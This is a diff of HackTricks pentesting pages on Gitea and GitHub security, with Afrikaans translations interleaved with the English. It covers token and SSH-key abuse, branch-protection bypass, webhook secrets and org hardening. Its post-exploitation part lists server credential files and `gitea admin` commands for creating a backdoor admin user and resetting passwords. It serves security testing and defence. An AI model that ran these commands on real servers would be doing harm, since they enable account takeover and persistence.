Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter kan jy dit nie gebruik om toegang tot die gitea api te verkry om die omgewing te enumerate nie. Jy kan egter **lokale instellings enumerate** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
As die gebruiker sy gebruikersnaam as sy gitea gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy gestel het** in sy rekening op _https://github.com/\<gitea_username>.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
|
||||
|
||||
If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
**SSH sleutels** kan ook in repositories as **deploy sleutels** gestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### GPG Sleutels
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Soos verduidelik [**hier**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) is dit soms nodig om die verbintenisse te teken of jy mag ontdek word.
|
||||
|
||||
Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Met Gebruikerstoken
|
||||
|
||||
### With User Token
|
||||
Vir 'n inleiding oor [**Gebruikerstokens kyk na die basiese inligting**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
'n Gebruikerstoken kan gebruik word **in plaas van 'n wagwoord** om teen die Gitea-bediener **te verifieer** [**via API**](https://try.gitea.io/api/swagger#/). Dit sal **volledige toegang** oor die gebruiker hê.
|
||||
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
### Met Oauth Toepassing
|
||||
|
||||
### With Oauth Application
|
||||
Vir 'n inleiding oor [**Gitea Oauth Toepassings kyk na die basiese inligting**](./#with-oauth-application).
|
||||
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
|
||||
'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot bevoorregte data/aksies van die gebruikers wat hulle waarskynlik as deel van 'n phishingveldtog aanvaar.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Soos in die basiese inligting verduidelik, sal die toepassing **volle toegang oor die gebruikersrekening** hê.
|
||||
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
### Takbeskerming Omseiling
|
||||
|
||||
### Branch Protection Bypass
|
||||
In Github het ons **github aksies** wat standaard 'n **token met skrywe toegang** oor die repo kry wat gebruik kan word om **takbeskermings te omseil**. In hierdie geval **bestaan dit nie**, so die omseilings is meer beperk. Maar kom ons kyk na wat gedoen kan word:
|
||||
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
- **Aktiveer Push**: As iemand met skrywe toegang na die tak kan push, push net daarna.
|
||||
- **Whitelist Beperkte Push**: Op dieselfde manier, as jy deel van hierdie lys is, push na die tak.
|
||||
- **Aktiveer Merge Whitelist**: As daar 'n samensmeltings-whitelist is, moet jy binne dit wees.
|
||||
- **Vereis goedkeuring is groter as 0**: Dan... moet jy 'n ander gebruiker kompromitteer.
|
||||
- **Beperk goedkeuring tot whitelisted**: As slegs whitelisted gebruikers kan goedkeur... moet jy 'n ander gebruiker kompromitteer wat binne daardie lys is.
|
||||
- **Verwerp verouderde goedkeuring**: As goedkeuring nie verwyder word met nuwe verbintenisse nie, kan jy 'n reeds goedgekeurde PR oorneem om jou kode in te voeg en die PR te meng.
|
||||
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
Let daarop dat **as jy 'n org/repo admin is** jy die beskermings kan omseil.
|
||||
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
### Enumereer Webhooks
|
||||
|
||||
### Enumerate Webhooks
|
||||
**Webhooks** is in staat om **spesifieke gitea-inligting na sekere plekke te stuur**. Jy mag in staat wees om daardie kommunikasie te **benut**.\
|
||||
E however, gewoonlik word 'n **geheim** wat jy **nie kan herwin nie** in die **webhook** gestel wat **voorkom** dat eksterne gebruikers wat die URL van die webhook ken maar nie die geheim nie, daardie webhook kan **benut**.\
|
||||
Maar in sommige gevalle, in plaas daarvan om die **geheim** op sy plek te stel, stel mense dit **in die URL** as 'n parameter, so **om die URL's te kontroleer** kan jou toelaat om **geheime** en ander plekke te vind wat jy verder kan benut.
|
||||
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
Webhooks kan op **repo en org vlak** gestel word.
|
||||
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
## Post Exploitatie
|
||||
|
||||
## Post Exploitation
|
||||
### Binne die bediener
|
||||
|
||||
### Inside the server
|
||||
As jy op een of ander manier daarin geslaag het om binne die bediener waar gitea loop te kom, moet jy soek na die gitea-konfigurasie-lêer. Standaard is dit geleë in `/data/gitea/conf/app.ini`
|
||||
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
In hierdie lêer kan jy **sleutels** en **wagwoorde** vind.
|
||||
|
||||
In this file you can find **keys** and **passwords**.
|
||||
In die gitea-pad (standaard: /data/gitea) kan jy ook interessante inligting vind soos:
|
||||
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
- Die **sqlite** DB: As gitea nie 'n eksterne db gebruik nie, sal dit 'n sqlite db gebruik.
|
||||
- Die **sessies** binne die sessies-gids: Deur `cat sessions/*/*/*` te loop, kan jy die gebruikersname van die ingelogde gebruikers sien (gitea kan ook die sessies binne die DB stoor).
|
||||
- Die **jwt private sleutel** binne die jwt-gids.
|
||||
- Meer **sensitiewe inligting** kan in hierdie gids gevind word.
|
||||
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
As jy binne die bediener is, kan jy ook die **`gitea` binêre** gebruik om inligting te bekom/wysig:
|
||||
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
- `gitea dump` sal gitea dump en 'n .zip-lêer genereer.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` sal 'n token van die aangeduide tipe genereer (volharding).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Verander die wagwoord.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Skep 'n nuwe admin gebruiker en kry 'n toegangstoken.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,106 +1,103 @@
|
||||
# Basic Gitea Information
|
||||
# Basiese Gitea Inligting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Basiese Struktuur
|
||||
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
Die basiese Gitea omgewingstruktuur is om repos te groepeer volgens **organisasie(s),** elk van hulle kan **verskeie repositories** en **verskeie spanne** bevat. Let egter daarop dat, net soos in github, gebruikers repos buite die organisasie kan hê.
|
||||
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
Boonop kan 'n **gebruiker** 'n **lid** van **verskillende organisasies** wees. Binne die organisasie kan die gebruiker **verskillende toestemmings oor elke repository** hê.
|
||||
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
'n Gebruiker kan ook **deel wees van verskillende spanne** met verskillende toestemmings oor verskillende repos.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
En uiteindelik **kan repositories spesiale beskermingsmeganismes hê**.
|
||||
|
||||
## Permissions
|
||||
## Toestemmings
|
||||
|
||||
### Organizations
|
||||
### Organisasies
|
||||
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
Wanneer 'n **organisasie geskep word** word 'n span genaamd **Eienaars** **geskep** en die gebruiker word daarin geplaas. Hierdie span sal **admin toegang** oor die **organisasie** gee, daardie **toestemmings** en die **naam** van die span **kan nie gewysig word** nie.
|
||||
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
**Org admins** (eienaars) kan die **sigbaarheid** van die organisasie kies:
|
||||
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
- Publiek
|
||||
- Beperk (slegs ingelogde gebruikers)
|
||||
- Privaat (slegs lede)
|
||||
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
**Org admins** kan ook aandui of die **repo admins** **toegang kan voeg of verwyder** vir spanne. Hulle kan ook die maksimum aantal repos aandui.
|
||||
|
||||
When creating a new team, several important settings are selected:
|
||||
Wanneer 'n nuwe span geskep word, word verskeie belangrike instellings gekies:
|
||||
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
- Dit word aangedui watter **repos van die org die lede van die span toegang sal hê**: spesifieke repos (repos waar die span bygevoeg is) of almal.
|
||||
- Dit word ook aangedui **of lede nuwe repos kan skep** (die skepper sal admin toegang tot dit kry)
|
||||
- Die **toestemmings** wat die **lede** van die repo **sal hê**:
|
||||
- **Administrateur** toegang
|
||||
- **Spesifieke** toegang:
|
||||
|
||||
.png>)
|
||||
|
||||
### Teams & Users
|
||||
### Spanne & Gebruikers
|
||||
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
In 'n repo kan die **org admin** en die **repo admins** (indien toegelaat deur die org) die **rolle** wat aan samewerkers (ander gebruikers) en spanne gegee word, **bestuur**. Daar is **3** moontlike **rolle**:
|
||||
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
- Administrateur
|
||||
- Skryf
|
||||
- Lees
|
||||
|
||||
## Gitea Authentication
|
||||
## Gitea Verifikasie
|
||||
|
||||
### Web Access
|
||||
### Webtoegang
|
||||
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
Gebruik **gebruikersnaam + wagwoord** en moontlik (en aanbeveel) 'n 2FA.
|
||||
|
||||
### **SSH Keys**
|
||||
### **SSH Sleutels**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
Jy kan jou rekening met een of verskeie publieke sleutels konfigureer wat die verwante **private sleutel toelaat om aksies namens jou uit te voer.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **GPG Sleutels**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
Jy **kan nie die gebruiker met hierdie sleutels naboots nie** maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van verbintenisse sonder 'n handtekening**.
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Persoonlike Toegangstokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. 'n Persoonlike toegangstoken gee volle toegang oor jou rekening: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Applications
|
||||
### Oauth Toepassings
|
||||
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
Net soos persoonlike toegangstokens **Oauth toepassings** sal **volledige toegang** oor jou rekening en die plekke waar jou rekening toegang het hê, omdat, soos in die [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) aangedui, scopes nog nie ondersteun word nie:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deploy keys
|
||||
### Ontplooi sleutels
|
||||
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
Ontplooi sleutels kan lees-slegs of skryf toegang tot die repo hê, so hulle kan interessant wees om spesifieke repos te kompromitteer.
|
||||
|
||||
## Branch Protections
|
||||
## Takbeskermings
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
Takbeskermings is ontwerp om **nie volledige beheer van 'n repository aan die gebruikers te gee** nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat jy in staat is om kode binne 'n tak te skryf**.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
Die **takbeskermings van 'n repository** kan gevind word in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> Dit is **nie moontlik om 'n takbeskerming op organisasievlak in te stel** nie. So al hulle moet op elke repo verklaar word.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Verskillende beskermings kan op 'n tak toegepas word (soos op master):
|
||||
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
- **Deaktiveer Push**: Niemand kan na hierdie tak push nie
|
||||
- **Aktiveer Push**: Enigeen met toegang kan push, maar nie force push nie.
|
||||
- **Whitelist Beperkte Push**: Slegs geselekteerde gebruikers/spanne kan na hierdie tak push (maar geen force push nie)
|
||||
- **Aktiveer Merge Whitelist**: Slegs whitelisted gebruikers/spanne kan PRs saamvoeg.
|
||||
- **Aktiveer Status kontroles:** Vereis dat status kontroles slaag voordat saamgevoeg word.
|
||||
- **Vereis goedkeuringe**: Dui die aantal goedkeuringe aan wat vereis word voordat 'n PR saamgevoeg kan word.
|
||||
- **Beperk goedkeuringe tot whitelisted**: Dui gebruikers/spanne aan wat PRs kan goedkeur.
|
||||
- **Blokkeer saamvoeg op verwerkte hersienings**: As veranderinge aangevra word, kan dit nie saamgevoeg word nie (selfs as die ander kontroles slaag)
|
||||
- **Blokkeer saamvoeg op amptelike hersieningsversoeke**: As daar amptelike hersieningsversoeke is, kan dit nie saamgevoeg word nie
|
||||
- **Verwerp verouderde goedkeuringe**: Wanneer nuwe verbintenisse gemaak word, sal ou goedkeuringe verwerp word.
|
||||
- **Vereis Onderteken Verbintenisse**: Verbintenisse moet onderteken wees.
|
||||
- **Blokkeer saamvoeg as die trekversoek verouderd is**
|
||||
- **Beskermde/Onbeskermde lêerpatrone**: Dui patrone van lêers aan om teen veranderinge te beskerm/onbeskerm.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Soos jy kan sien, selfs al het jy daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm wees wat jou verhinder om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,250 +1,237 @@
|
||||
# Github Security
|
||||
# Github Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is Github
|
||||
## Wat is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Op 'n hoë vlak, **GitHub is 'n webwerf en wolk-gebaseerde diens wat ontwikkelaars help om hul kode te stoor en te bestuur, sowel as om veranderinge aan hul kode te volg en te beheer**.
|
||||
|
||||
### Basic Information
|
||||
### Basiese Inligting
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## External Recon
|
||||
## Eksterne Recon
|
||||
|
||||
Github repositories can be configured as public, private and internal.
|
||||
Github repositories kan gekonfigureer word as publiek, privaat en intern.
|
||||
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang sal hê.
|
||||
- **Intern** beteken dat **slegs** mense van die **onderneming** (n onderneming kan verskeie organisasies hê) toegang sal hê.
|
||||
- **Publiek** beteken dat **alle internet** toegang sal hê.
|
||||
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
As jy die **gebruikersnaam, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lekkasies** **op elke repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
Github laat jou toe om **vir iets te soek deur 'n gebruiker, 'n repo of 'n organisasie as omvang te spesifiseer**. Daarom, met 'n lys van strings wat naby sensitiewe inligting gaan verskyn, kan jy maklik **potensiële sensitiewe inligting in jou teiken soek**.
|
||||
|
||||
Tools (each tool contains its list of dorks):
|
||||
Gereedskap (elke gereedskap bevat sy lys van dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks lys](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks lys](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks lys](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Leaks
|
||||
### Github Lekasies
|
||||
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
Let asseblief daarop dat die github dorks ook bedoel is om lekkasies te soek met behulp van github soekopsies. Hierdie afdeling is toegewy aan daardie gereedskap wat **elke repo sal aflaai en soek na sensitiewe inligting daarin** (selfs sekere diepte van verbintenisse nagaan).
|
||||
|
||||
Tools (each tool contains its list of regexes):
|
||||
Gereedskap (elke gereedskap bevat sy lys van regexes):
|
||||
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
Kyk na hierdie bladsy: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
> Wanneer jy na lekkasies in 'n repo soek en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie!
|
||||
|
||||
### External Forks
|
||||
### Eksterne Forks
|
||||
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
|
||||
Dit is moontlik om **repos te kompromitteer deur pull versoeke te misbruik**. Om te weet of 'n repo kwesbaar is, moet jy meestal die Github Actions yaml konfigurasies lees. [**Meer inligting hieroor hieronder**](#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
### Github Lekasies in verwyderde/intern forks
|
||||
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
Selfs al is dit verwyder of intern, mag dit moontlik wees om sensitiewe data van forks van github repositories te verkry. Kyk dit hier:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Organization Hardening
|
||||
## Organisasie Versterking
|
||||
|
||||
### Member Privileges
|
||||
### Lid Privileges
|
||||
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
Daar is 'n paar **standaard voorregte** wat aan **lede** van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy `https://github.com/organizations/<org_name>/settings/member_privileges` of vanaf die [**Organisasies API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
- **Basiese toestemmings**: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om **None** of **Lees** te hê.
|
||||
- **Repository fork**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede organisasie repositories fork nie.
|
||||
- **Bladsy skepping**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep.
|
||||
- **Integrasie toegang versoeke**: Met hierdie geaktiveer, sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie-eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**.
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Repository verwydering en oordrag**: As geaktiveer, sal lede met **admin** toestemmings vir die repository in staat wees om **te verwyder** of **te oordra** publieke en private **repositories.**
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Laat lede toe om spanne te skep**: As geaktiveer, sal enige **lid** van die organisasie in staat wees om **nuwe** **spanne** te **skep**. As gedeaktiveer, kan slegs organisasie-eienaars nuwe spanne skep. Dit is beter om dit gedeaktiveer te hê.
|
||||
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
|
||||
- **Meer dinge kan geconfigureer word** op hierdie bladsy, maar die vorige is diegene wat meer sekuriteit gerelateerd is.
|
||||
|
||||
### Actions Settings
|
||||
### Aksies Instellings
|
||||
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies vanaf die bladsy `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
> Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word
|
||||
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om te loop nie.
|
||||
